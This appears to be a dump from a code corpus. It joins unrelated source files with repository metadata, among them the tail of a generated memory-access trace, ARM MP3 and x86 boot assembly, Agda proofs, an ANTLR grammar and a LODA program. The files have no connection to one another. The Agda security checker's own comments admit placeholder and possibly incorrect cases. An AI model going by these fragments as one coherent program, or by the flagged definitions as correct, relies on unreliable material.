{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'00': 5174}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
third_party/opencore-audio/mp3/dec/src/asm/pvmp3_mdct_18.asm
|
asveikau/audio
| 0 |
173569
|
<gh_stars>0
; ------------------------------------------------------------------
; Copyright (C) 2008 PacketVideo
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
; express or implied.
; See the License for the specific language governing permissions
; and limitations under the License.
; -------------------------------------------------------------------
;
;
; Filename: pvmp3_dct_18.s
;
; Date: 09/21/2007
;
;------------------------------------------------------------------------------
EXPORT |pvmp3_mdct_18|
IMPORT pvmp3_dct_9
;------------------------------------------------------------------------------
AREA |.text|, CODE, READONLY, ALIGN=2
;------------------------------------------------------------------------------
|pvmp3_mdct_18| PROC
stmfd sp!,{r4-r10,lr}
mov r7,r2
ldr r2,table
mov r6,r1
add r3,r2,#0x24
add r12,r3,#0x44
add r1,r0,#0x44
mov r5,r0
; for ( i=9; i!=0; i--)
; {
mov r4,#9
Loop_1
; tmp = *(pt_vec);
; tmp1 = *(pt_vec_o);
ldr lr,[r0] ;; tmp == lr
ldr r8,[r3],#4 ;; tmp1 == r8
; tmp = fxp_mul32_Q32( tmp<<1, *(pt_cos++ ));
; tmp1 = fxp_mul32_Q27( tmp1, *(pt_cos_x--));
mov lr,lr,lsl #1
smull r10,lr,r8,lr
ldr r8,[r12],#-4
ldr r9,[r1]
subs r4,r4,#1
smull r9,r10,r8,r9
mov r8,r9,lsr #27
add r8,r8,r10,lsl #5
; *(pt_vec++) = tmp + tmp1 ;
; *(pt_vec_o--) = fxp_mul32_Q28( (tmp - tmp1), *(pt_cos_split++));
add r9,lr,r8
sub r8,lr,r8
ldr lr,[r2],#4
str r9,[r0],#4
smull r8,r9,lr,r8
mov lr,r8,lsr #28
add lr,lr,r9,lsl #4
str lr,[r1],#-4
bne Loop_1
; }
mov r0,r5 ;; r0 = vec
bl pvmp3_dct_9
add r0,r5,#0x24 ;; r0 = &vec[9]
bl pvmp3_dct_9
ldr r0,[r5,#0x20]
ldr r2,[r5,#0x40]
str r0,[r5,#0x40]
ldr r0,[r5,#0x1c]
ldr r3,[r5,#0x38]
str r0,[r5,#0x38]
ldr r1,[r5,#0x18]
ldr r0,[r5,#0x30]
str r1,[r5,#0x30]
ldr r12,[r5,#0x14]
ldr r1,[r5,#0x28]
str r12,[r5,#0x28]
ldr r12,[r5,#0x10]
str r12,[r5,#0x20]
ldr r12,[r5,#0xc]
str r12,[r5,#0x18]
ldr r12,[r5,#8]
str r12,[r5,#0x10]
ldr r12,[r5,#4]
str r12,[r5,#8]
ldr r12,[r5,#0x24]
sub r12,r12,r1
str r12,[r5,#4]
ldr r12,[r5,#0x2c]
sub r1,r12,r1
str r1,[r5,#0xc]
sub r1,r12,r0
str r1,[r5,#0x14]
ldr r1,[r5,#0x34]
sub r0,r1,r0
str r0,[r5,#0x1c]
sub r0,r1,r3
str r0,[r5,#0x24]
ldr r1,[r5,#0x3c]
sub r3,r1,r3
sub r1,r1,r2
str r1,[r5,#0x34]
str r3,[r5,#0x2c]
ldr r1,[r5,#0x44]
sub r1,r1,r2
str r1,[r5,#0x3c]
ldr r12,[r5,#0]
Loop_2
add r1,r5,r4,lsl #2
ldr r2,[r1,#0x28]
ldr r3,[r6,r4,lsl #2]
add r0,r0,r2
str r0,[r1,#0x28]
ldr lr,[r7,r4,lsl #2]
ldr r1,[r1,#4]
smlal r0,r3,lr,r0
mov r0,r2
add r2,r12,r1
rsb r2,r2,#0
str r3,[r5,r4,lsl #2]
str r2,[r6,r4,lsl #2]
add r4,r4,#1
cmp r4,#6
mov r12,r1
blt Loop_2
ldr r1,[r5,#0x40]
ldr r2,[r6,#0x18]
add r3,r0,r1
str r3,[r5,#0x40]
ldr lr,[r7,r4,lsl #2]
mov r3,r3,lsl #1
ldr r0,[r5,#0x1c]
smlal r3,r2,lr,r3
add r3,r12,r0
str r2,[r5,#0x18]
ldr r2,[r6,#0x1c]
rsb r3,r3,#0
str r3,[r6,#0x18]
ldr r3,[r5,#0x20]
add r0,r3,r0
rsb r0,r0,#0
str r0,[r6,#0x1c]
ldr r3,[r5,#0x44]
ldr r0,[r6,#0x20]
add r3,r3,r1
mov r1,r2
ldr r10,[r7,#0x1c]
mov r2,r3,lsl #1
smlal r12,r1,r10,r2
str r1,[r5,#0x1c]
ldr r1,[r5,#0x20]
ldr r3,[r5,#0x24]
add r1,r1,r3
rsb r1,r1,#0
str r1,[r6,#0x20]
ldr r1,[r5,#0x44]
ldr r3,[r7,#0x20]
mov r1,r1,lsl #1
smlal r12,r0,r3,r1
ldr lr,[r7,#0x24]
ldr r3,[r6,#0x24]
str r0,[r5,#0x20]
smlal r1,r3,lr,r1
ldr r0,[r6,#0x40]
ldr r12,[r6,#0x44]
str r3,[r5,#0x24]
ldr r1,[r5,#0x28]
ldr r3,[r7,#0x44]
mov r1,r1,lsl #1
smlal r1,r12,r3,r1
ldr r1,[r5,#0x40]
str r12,[r5,#0x44]
rsb r8,r1,#0
str r8,[r5,#0x28]
ldr r1,[r5,#0x2c]
ldr r3,[r7,#0x40]
mov r1,r1,lsl #1
smlal r1,r0,r3,r1
str r0,[r5,#0x40]
ldr r0,[r5,#0x3c]
ldr r1,[r6,#0x38]
ldr r3,[r6,#0x3c]
rsb r9,r0,#0
str r9,[r5,#0x2c]
ldr r0,[r5,#0x30]
ldr r12,[r7,#0x3c]
mov r0,r0,lsl #1
smlal r0,r3,r12,r0
str r3,[r5,#0x3c]
ldr r0,[r5,#0x38]
rsb r0,r0,#0
str r0,[r5,#0x30]
ldr r3,[r5,#0x34]
ldr r12,[r7,#0x38]
mov r3,r3,lsl #1
smlal r3,r1,r12,r3
mov r0,r0,lsl #1
str r1,[r5,#0x38]
ldr r4,[r7,#0x34]
ldr r1,[r6,#0x34]
ldr r3,[r6,#0x30]
smlal r0,r1,r4,r0
ldr r12,[r6,#0x2c]
ldr lr,[r6,#0x28]
str r1,[r5,#0x34]
ldr r1,[r7,#0x30]
mov r0,r9,lsl #1
smlal r0,r3,r1,r0
mov r0,r8,lsl #1
ldr r1,[r7,#0x2c]
str r3,[r5,#0x30]
smlal r0,r12,r1,r0
ldr r0,[r7,#0x28]
str r12,[r5,#0x2c]
smlal r2,lr,r0,r2
str lr,[r5,#0x28]
ldr r1,[r6,#4]
ldr r12,[r7,#0x48]
mov r2,r1,lsl #1
ldr r1,[r6,#0x20]
ldr r0,[r6]
mov r1,r1,lsl #1
smull r4,lr,r12,r1
ldr r3,[r6,#0x1c]
str lr,[r6]
ldr r12,[r7,#0x4c]
mov r3,r3,lsl #1
smull r4,lr,r12,r3
mov r0,r0,lsl #1
ldr r12,[r7,#0x64]
str lr,[r6,#4]
smull r4,lr,r12,r2
ldr r12,[r7,#0x68]
str lr,[r6,#0x1c]
smull r4,lr,r12,r0
ldr r12,[r7,#0x6c]
str lr,[r6,#0x20]
smull lr,r0,r12,r0
ldr r12,[r7,#0x70]
str r0,[r6,#0x24]
smull r0,r2,r12,r2
ldr r0,[r7,#0x88]
str r2,[r6,#0x28]
smull r3,r2,r0,r3
ldr r0,[r7,#0x8c]
str r2,[r6,#0x40]
smull r2,r1,r0,r1
str r1,[r6,#0x44]
ldr r0,[r6,#0x18]
ldr lr,[r7,#0x50]
mov r1,r0,lsl #1
ldr r0,[r6,#0x14]
smull r5,r4,lr,r1
ldr r12,[r6,#0x10]
mov r3,r0,lsl #1
ldr r0,[r6,#0xc]
mov r12,r12,lsl #1
mov r2,r0,lsl #1
ldr r0,[r6,#8]
str r4,[r6,#8]
ldr lr,[r7,#0x54]
mov r0,r0,lsl #1
smull r5,r4,lr,r3
ldr lr,[r7,#0x58]
str r4,[r6,#0xc]
smull r5,r4,lr,r12
ldr lr,[r7,#0x5c]
str r4,[r6,#0x10]
smull r5,r4,lr,r2
ldr lr,[r7,#0x60]
str r4,[r6,#0x14]
smull r5,r4,lr,r0
ldr lr,[r7,#0x74]
str r4,[r6,#0x18]
smull r4,r0,lr,r0
ldr lr,[r7,#0x78]
str r0,[r6,#0x2c]
smull r0,r2,lr,r2
ldr r0,[r7,#0x7c]
str r2,[r6,#0x30]
smull r12,r2,r0,r12
ldr r0,[r7,#0x80]
str r2,[r6,#0x34]
smull r3,r2,r0,r3
ldr r0,[r7,#0x84]
str r2,[r6,#0x38]
smull r2,r1,r0,r1
str r1,[r6,#0x3c]
ldmfd sp!,{r4-r10,pc}
table
DCD cosTerms_dct18
ENDP
;------------------------------------------------------------------------------
AREA |.constdata|, DATA, READONLY, ALIGN=2
;------------------------------------------------------------------------------
cosTerms_dct18
DCD 0x0807d2b0
DCD 0x08483ee0
DCD 0x08d3b7d0
DCD 0x09c42570
DCD 0x0b504f30
DCD 0x0df29440
DCD 0x12edfb20
DCD 0x1ee8dd40
DCD 0x5bca2a00
cosTerms_1_ov_cos_phi
DCD 0x400f9c00
DCD 0x408d6080
DCD 0x418dcb80
DCD 0x431b1a00
DCD 0x4545ea00
DCD 0x48270680
DCD 0x4be25480
DCD 0x50ab9480
DCD 0x56ce4d80
DCD 0x05ebb630
DCD 0x06921a98
DCD 0x0771d3a8
DCD 0x08a9a830
DCD 0x0a73d750
DCD 0x0d4d5260
DCD 0x127b1ca0
DCD 0x1ea52b40
DCD 0x5bb3cc80
END
|
print.asm
|
PiJoules/hobbyos2
| 0 |
175645
|
<reponame>PiJoules/hobbyos2<filename>print.asm
%define NEWLINE 0xa
%define CARRIAGE_RET 0xd
; Args:
; - edx: Address of the string we will print
; - bl: Color
; Ret: None
print_16b:
mov ah, 0x0e
mov bh, 0 ; Page number
.start:
mov al, [edx]
cmp al, 0
je .end
int 0x10
inc edx
jmp .start
.end:
ret
; Args:
; - edx: Address of the string we will print
; - bl: Color
; Ret: None
println_16b:
call print_16b
; We'll need to print a carriage return and newline.
mov al, NEWLINE
int 0x10
mov al, CARRIAGE_RET
int 0x10
ret
; receiving the data in 'dx'
; For the examples we'll assume that we're called with dx=0x1234
print_hex:
pusha
mov cx, 0 ; our index variable
; Strategy: get the last char of 'dx', then convert to ASCII
; Numeric ASCII values: '0' (ASCII 0x30) to '9' (0x39), so just add 0x30 to byte N.
; For alphabetic characters A-F: 'A' (ASCII 0x41) to 'F' (0x46) we'll add 0x40
; Then, move the ASCII byte to the correct position on the resulting string
.hex_loop:
cmp cx, 4 ; loop 4 times
je .end
; 1. convert last char of 'dx' to ascii
mov ax, dx ; we will use 'ax' as our working register
and ax, 0x000f ; 0x1234 -> 0x0004 by masking first three to zeros
add al, 0x30 ; add 0x30 to N to convert it to ASCII "N"
cmp al, 0x39 ; if > 9, add extra 8 to represent 'A' to 'F'
jle .step2
add al, 7 ; 'A' is ASCII 65 instead of 58, so 65-58=7
.step2:
; 2. get the correct position of the string to place our ASCII char
; bx <- base address + string length - index of char
mov bx, HEX_OUT + 5 ; base + length
sub bx, cx ; our index variable
mov [bx], al ; copy the ASCII char on 'al' to the position pointed by 'bx'
ror dx, 4 ; 0x1234 -> 0x4123 -> 0x3412 -> 0x2341 -> 0x1234
; increment index and loop
add cx, 1
jmp .hex_loop
.end:
; prepare the parameter and call the function
; remember that print receives parameters in 'bx'
mov dx, HEX_OUT
call print_16b
popa
ret
HEX_OUT:
db '0x0000',0 ; reserve memory for our new string
|
Agda/Gradual Security/dynamic.agda
|
kellino/TypeSystems
| 2 |
9979
|
<filename>Agda/Gradual Security/dynamic.agda
module dynamic where
open import LSsyntax
open import static
open import Relation.Nullary
open import Data.Nat using (ℕ ; _+_)
open import Data.Fin using (Fin; toℕ)
open import Data.Vec using (Vec ; lookup; _∷_; [])
open import Data.Product
open import Relation.Binary.PropositionalEquality
open import Relation.Nullary
open import Data.Bool using (Bool; true ; false)
data _⊓ˡ_ : (ℓ₁ ℓ₂ : Label) → Set where
ℓ⊓✭ : ∀ ℓ → ℓ ⊓ˡ ✭
✭⊓ℓ : ∀ ℓ → ✭ ⊓ˡ ℓ
idℓ : ∀ ℓ → ℓ ⊓ˡ ℓ
_⊓ᵣ_ : ∀ (ℓ₁ ℓ₂ : Label) → Dec (ℓ₁ ⊓ˡ ℓ₂)
⊤ ⊓ᵣ ⊤ = yes (idℓ ⊤)
⊤ ⊓ᵣ ⊥ = no (λ ())
⊤ ⊓ᵣ ✭ = yes (ℓ⊓✭ ⊤)
⊥ ⊓ᵣ ⊤ = no (λ ())
⊥ ⊓ᵣ ⊥ = yes (idℓ ⊥)
⊥ ⊓ᵣ ✭ = yes (ℓ⊓✭ ⊥)
✭ ⊓ᵣ ⊤ = yes (✭⊓ℓ ⊤)
✭ ⊓ᵣ ⊥ = yes (✭⊓ℓ ⊥)
✭ ⊓ᵣ ✭ = yes (ℓ⊓✭ ✭)
-- note that this is not actually correct. The meet of ⊤ and bottom for example should be undefined,
-- but that isn't easy to model directly in Agda. However, if we only call this after induction over
-- the proof of _⊓ᵣ_ it (should) be impossible to call one of the incorrect cases.
recMeet : ∀ (ℓ₁ ℓ₂ : Label) → Label
recMeet ⊤ ⊤ = ⊤
recMeet ⊤ ✭ = ⊤
recMeet ⊥ ⊥ = ⊥
recMeet ⊥ ✭ = ⊥
recMeet ✭ ⊤ = ⊤
recMeet ✭ ⊥ = ⊥
recMeet ✭ ✭ = ✭
recMeet _ _ = ✭ -- fake case
_⊓_ : ∀ (t₁ t₂ : GType) → GType
bool x ⊓ bool x₁ with x ⊓ᵣ x₁
bool x ⊓ bool x₁ | yes p = bool (recMeet x x₁)
bool x ⊓ bool x₁ | no ¬p = err
bool x ⊓ _ = err
(t₁ ⇒ x) t₂ ⊓ (t₃ ⇒ x₁) t₄ with x ⊓ᵣ x₁
(t₁ ⇒ x) t₂ ⊓ (t₃ ⇒ x₁) t₄ | yes p with (t₁ ⊓ t₃) | (t₂ ⊓ t₄)
(t₁ ⇒ x₂) t₂ ⊓ (t₃ ⇒ x₃) t₄ | yes p | (bool x) | (bool x₁) = ((bool x) ⇒ (recMeet x₂ x₃)) (bool x)
-- this is probably not correct, but it keeps things simple.
(t₁ ⇒ x₂) t₂ ⊓ (t₃ ⇒ x₃) t₄ | yes p | (bool x) | ((d ⇒ x₁) d₁) = err
(t₁ ⇒ x₂) t₂ ⊓ (t₃ ⇒ x₃) t₄ | yes p | ((c ⇒ x) c₁) | (bool x₁) = err
(t₁ ⇒ x₂) t₂ ⊓ (t₃ ⇒ x₃) t₄ | yes p | ((c ⇒ x) c₁) | ((d ⇒ x₁) d₁) = err
(t₁ ⇒ x₁) t₂ ⊓ (t₃ ⇒ x₂) t₄ | yes p | (bool x) | err = err
(t₁ ⇒ x₁) t₂ ⊓ (t₃ ⇒ x₂) t₄ | yes p | ((c ⇒ x) c₁) | err = err
(t₁ ⇒ x₁) t₂ ⊓ (t₃ ⇒ x₂) t₄ | yes p | err | (bool x) = err
(t₁ ⇒ x₁) t₂ ⊓ (t₃ ⇒ x₂) t₄ | yes p | err | ((d ⇒ x) d₁) = err
(t₁ ⇒ x) t₂ ⊓ (t₃ ⇒ x₁) t₄ | yes p | err | err = err
(t₁ ⇒ x) t₂ ⊓ (t₃ ⇒ x₁) t₄ | no ¬p = err
_ ⊓ _ = err
I≼ : ∀ (ℓ₁ ℓ₂ : Label) → (Label × Label)
I≼ ⊤ ✭ = ⊤ , ⊤
I≼ ✭ ⊤ = ✭ , ⊤
I≼ ✭ ⊥ = ⊥ , ⊥
I≼ ⊥ ✭ = ⊥ , ✭
I≼ ℓ₁ ℓ₂ = ℓ₁ , ℓ₂
Δ≼ : ∀ (triple : Label × Label × Label) → (Label × Label)
Δ≼ (ℓ₁ , ⊤ , ⊤) = ℓ₁ , ⊤
Δ≼ (ℓ₁ , ⊤ , ✭) = ℓ₁ , ⊤
Δ≼ (⊥ , ⊥ , ℓ₃) = ⊥ , ℓ₃
Δ≼ (⊥ , ✭ , ℓ₃) = ⊥ , ℓ₃
Δ≼ (ℓ₁ , ✭ , ℓ₃) = ℓ₁ , ℓ₃
Δ≼ (ℓ₁ , ℓ₂ , ℓ₃) = ℓ₁ , ℓ₃
Δ< : ∀ (triple : GType × GType × GType) → (GType × GType)
Δ< (bool ℓ₁ , bool ℓ₂ , bool ℓ₃) =
let new = Δ≼ (ℓ₁ , ℓ₂ , ℓ₃) in
bool (proj₁ new) , bool (proj₂ new)
Δ< ((t₁ ⇒ ℓ₁) t′₁ , (t₂ ⇒ ℓ₂) t′₂ , (t₃ ⇒ ℓ₃) t′₃) =
let new = Δ≼ (ℓ₁ , ℓ₂ , ℓ₃) in
((t₁ ⇒ (proj₁ new)) t′₁) , ((t₃ ⇒ (proj₂ new)) t′₃)
Δ< (_ , _ , _) = err , err
interior : ∀ (t : GType) → (GType × GType)
interior (bool ℓ) = (bool ℓ) , (bool ℓ)
interior ((t ⇒ ℓ) t₁) =
let (ℓ₁ , ℓ₂) = I≼ (getLabel t) ℓ in
((setLabel t ℓ₁) ⇒ ℓ₂) t₁ , ((setLabel t ℓ₁) ⇒ ℓ₂) t₁
interior err = err , err
_∘<_ : ∀ (t₁ t₂ : (GType × GType)) → (GType × GType)
(s₁ , s₂₁) ∘< (s₂₂ , s₃) = Δ< (s₁ , (s₂₁ ⊓ s₂₂) , s₃)
dynamicCheck : ∀ {n} (Γ : Ctx n) (t : Term) → Check Γ t
-- variables
dynamicCheck {n} Γ (var v) with fromℕ n v
dynamicCheck {n} Γ (var .(toℕ m)) | yes m = yes (lookup m Γ) (Sx m refl)
dynamicCheck {n} Γ (var .(n + m)) | no m = no
-- literals
dynamicCheck Γ (litBool x ℓ) = yes (bool ℓ) (Sb x ℓ)
-- lambda abstraction
dynamicCheck Γ (lam x t x₁) with dynamicCheck (x ∷ Γ) t
dynamicCheck Γ (lam x .(erase t) ℓ) | yes τ t = yes ((x ⇒ ℓ) τ) (Sλ x ℓ t)
dynamicCheck Γ (lam x t x₁) | no = no
-- logical and
dynamicCheck Γ (t ∧ t₁) with dynamicCheck Γ t | dynamicCheck Γ t₁
dynamicCheck Γ (.(erase t) ∧ .(erase t₁)) | yes τ t | (yes τ₁ t₁) with (interior τ) ∘< (interior τ₁)
dynamicCheck Γ (.(erase t) ∧ .(erase t₁)) | yes τ t | (yes τ₁ t₁) | (bool x , bool x₁) = yes (bool (getLabel τ ~⋎~ getLabel τ₁)) (t S∧ t₁)
dynamicCheck Γ (.(erase t) ∧ .(erase t₁)) | yes τ t | (yes τ₁ t₁) | (_ , _) = no
dynamicCheck Γ (t ∧ t₁) | _ | _ = no
-- logical or
dynamicCheck Γ (t ∨ t₁) with dynamicCheck Γ t | dynamicCheck Γ t₁
dynamicCheck Γ (.(erase t) ∨ .(erase t₁)) | yes τ t | (yes τ₁ t₁) with (interior τ) ∘< (interior τ₁)
dynamicCheck Γ (.(erase t) ∨ .(erase t₁)) | yes τ t | (yes τ₁ t₁) | (bool x , bool x₁) = yes (bool (getLabel τ ~⋎~ getLabel τ₁)) (t S∨ t₁)
dynamicCheck Γ (.(erase t) ∨ .(erase t₁)) | yes τ t | (yes τ₁ t₁) | (_ , _) = no
dynamicCheck Γ (t ∨ t₁) | _ | _ = no
-- application
-- this needs to be doublechecked!
dynamicCheck Γ (t ∙ t₁) with dynamicCheck Γ t | dynamicCheck Γ t₁
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes ((τ ⇒ ℓ₁) τ₁) t | yes τ₂ t₁ with (interior ((τ ⇒ ℓ₁) τ₁)) ∘< (interior τ₂)
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes ((τ ⇒ ℓ₁) τ₁) t | (yes τ₂ t₁) | (bool x , bool x₁) = yes (bool (getLabel τ₁ ~⋎~ ℓ₁)) (S∙ t t₁ (yes τ₂ τ))
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes ((τ ⇒ ℓ₁) τ₁) t | (yes τ₂ t₁) | (bool x , (proj₄ ⇒ x₁) proj₅) = no
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes ((τ ⇒ ℓ₁) τ₁) t | (yes τ₂ t₁) | ((proj₃ ⇒ x) proj₄ , bool x₁) = no
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes ((τ ⇒ ℓ₁) τ₁) t | (yes τ₂ t₁) | ((proj₃ ⇒ x) proj₄ , (proj₅ ⇒ x₁) proj₆) = no
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes ((τ ⇒ ℓ₁) τ₁) t | (yes τ₂ t₁) | (_ , _) = no
dynamicCheck Γ (.(erase t) ∙ .(erase t₁)) | yes _ t | (yes _ t₁) = no
dynamicCheck Γ (.(erase t) ∙ t₁) | yes τ t | no = no
dynamicCheck Γ (t₁ ∙ .(erase t)) | no | yes τ t = no
dynamicCheck Γ (t ∙ t₁) | no | no = no
-- if then else
dynamicCheck Γ (if b then t₁ else t₂) with dynamicCheck Γ b
dynamicCheck Γ (if .(erase b) then t₁ else t₂) | yes τ b with dynamicCheck Γ t₁ | dynamicCheck Γ t₂
dynamicCheck Γ (if .(erase b) then .(erase t₁) else .(erase t₂)) | yes τ b | (yes τ₁ t₁) | (yes τ₂ t₂) with (interior τ₁) ∘< (interior τ₂)
dynamicCheck Γ (if .(erase b) then .(erase t₁) else .(erase t₂)) | yes τ b | (yes τ₁ t₁) | (yes τ₂ t₂) | (bool ℓ , bool ℓ₁) = yes (bool (getLabel (τ₁ :∨: τ₂) ~⋎~ getLabel τ)) (Sif b t₁ t₂)
dynamicCheck Γ (if .(erase b) then .(erase t₁) else .(erase t₂)) | yes τ b | (yes τ₁ t₁) | (yes τ₂ t₂) | (_ , _) = no
dynamicCheck Γ (if .(erase b) then t₁ else t₂) | yes τ b | _ | _ = no
dynamicCheck Γ (if b then t₁ else t₂) | no = no
-- error
dynamicCheck Γ error = no
|
antlr-kotlin-examples-jvm/src/main/antlr/MiniCalcParser.g4
|
rapidrobotics/antlr-kotlin
| 127 |
4807
|
<reponame>rapidrobotics/antlr-kotlin<gh_stars>100-1000
parser grammar MiniCalcParser;
options { tokenVocab=MiniCalcLexer; }
miniCalcFile : lines=line+ ;
line : statement (NEWLINE | EOF) ;
statement : inputDeclaration # inputDeclarationStatement
| varDeclaration # varDeclarationStatement
| assignment # assignmentStatement
| print # printStatement ;
print : PRINT LPAREN expression RPAREN ;
inputDeclaration : INPUT type name=ID ;
varDeclaration : VAR assignment ;
assignment : ID ASSIGN expression ;
expression : left=expression operator=(DIVISION|ASTERISK) right=expression # binaryOperation
| left=expression operator=(PLUS|MINUS) right=expression # binaryOperation
| value=expression AS targetType=type # typeConversion
| LPAREN expression RPAREN # parenExpression
| ID # valueReference
| MINUS expression # minusExpression
| STRING_OPEN (parts+=stringLiteralContent)* STRING_CLOSE # stringLiteral
| INTLIT # intLiteral
| DECLIT # decimalLiteral ;
stringLiteralContent : STRING_CONTENT # constantString
| INTERPOLATION_OPEN expression INTERPOLATION_CLOSE # interpolatedValue ;
type : INT # integer
| DECIMAL # decimal
| STRING # string ;
|
notes/FOT/FOL/MendelsonSubstATP.agda
|
asr/fotc
| 11 |
9916
|
<filename>notes/FOT/FOL/MendelsonSubstATP.agda
------------------------------------------------------------------------------
-- Mendelson's substitution
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOT.FOL.MendelsonSubstATP where
-- First-order logic with equality.
open import Common.FOL.FOL-Eq public
------------------------------------------------------------------------------
-- Mendelson's [2015] substitution (p. 93).
-- (A7) x = y ⇒ (A(x,x) ⇒ B(x,y)) (substitutivity of equality)
postulate mendelsonSubst : (A : D → D → Set) → ∀ {x y} → x ≡ y → A x x → A x y
{-# ATP prove mendelsonSubst #-}
------------------------------------------------------------------------------
-- References
-- <NAME> (2015). Introduction to Mathematical Logic. CRC
-- Press, 6th edition.
|
programs/oeis/213/A213040.asm
|
neoneye/loda
| 22 |
101596
|
; A213040: Partial sums of A004738, leftmost column of the sequence of triangles defined in A206492.
; 1,3,4,6,9,11,12,14,17,21,24,26,27,29,32,36,41,45,48,50,51,53,56,60,65,71,76,80,83,85,86,88,91,95,100,106,113,119,124,128,131,133,134,136,139,143,148,154,161,169,176,182,187,191,194,196,197,199,202
lpb $0
mov $2,$0
sub $0,1
seq $2,4738 ; Concatenation of sequences (1,2,...,n-1,n,n-1,...,2) for n >= 2.
add $1,$2
lpe
add $1,1
mov $0,$1
|
.emacs.d/elpa/ada-mode-5.3.1/gps_source/utf8_utils.ads
|
caqg/linux-home
| 0 |
19273
|
<reponame>caqg/linux-home
------------------------------------------------------------------------------
-- G P S --
-- --
-- Copyright (C) 2007-2016, AdaCore --
-- --
-- This is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. This software is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- --
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public --
-- License for more details. You should have received a copy of the GNU --
-- General Public License distributed with this software; see file --
-- COPYING3. If not, go to http://www.gnu.org/licenses for a complete copy --
-- of the license. --
------------------------------------------------------------------------------
-- This package provides a set of high-level subprograms for handling UTF8
-- encoding
